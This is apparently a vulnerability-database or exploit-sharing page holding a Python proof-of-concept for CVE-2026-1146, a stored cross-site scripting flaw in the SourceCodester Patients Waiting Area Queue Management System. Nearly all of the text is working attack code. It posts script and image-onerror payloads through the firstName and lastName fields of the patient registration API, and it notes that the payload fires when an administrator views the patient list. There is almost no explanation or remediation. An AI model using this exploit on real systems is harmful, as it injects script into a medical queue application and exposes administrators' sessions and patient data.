CVE-2026-1146 SourceCodester Patients Waiting Area Queue Management System XSS漏洞

import requests # CVE-2026-1146 PoC - Stored XSS in Patients Waiting Area Queue Management System # Target: /php/api_register_patient.php TARGET_URL = "http://target.com/php/api_register_patient.php" # XSS payload for firstName parameter xss_payload_firstname = "<script>alert(document.cookie)</script>" # XSS payload for lastName parameter xss_payload_lastname = "<img src=x onerror=alert('XSS')>" def exploit_xss(): """ Exploit stored XSS vulnerability in patient registration API """ data = { "firstName": xss_payload_firstname, "lastName": xss_payload_lastname, # Add other required parameters if needed "phone": "1234567890", "email": "[email protected]" } try: response = requests.post(TARGET_URL, data=data, timeout=10) print(f"[*] Request sent to {TARGET_URL}") print(f"[*] Status Code: {response.status_code}") if response.status_code == 200: print("[+] Payload submitted successfully") print("[*] XSS will execute when admin views patient list") else: print("[-] Request failed") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": print("CVE-2026-1146 - SourceCodester Patients Waiting Area Queue Management System XSS") exploit_xss()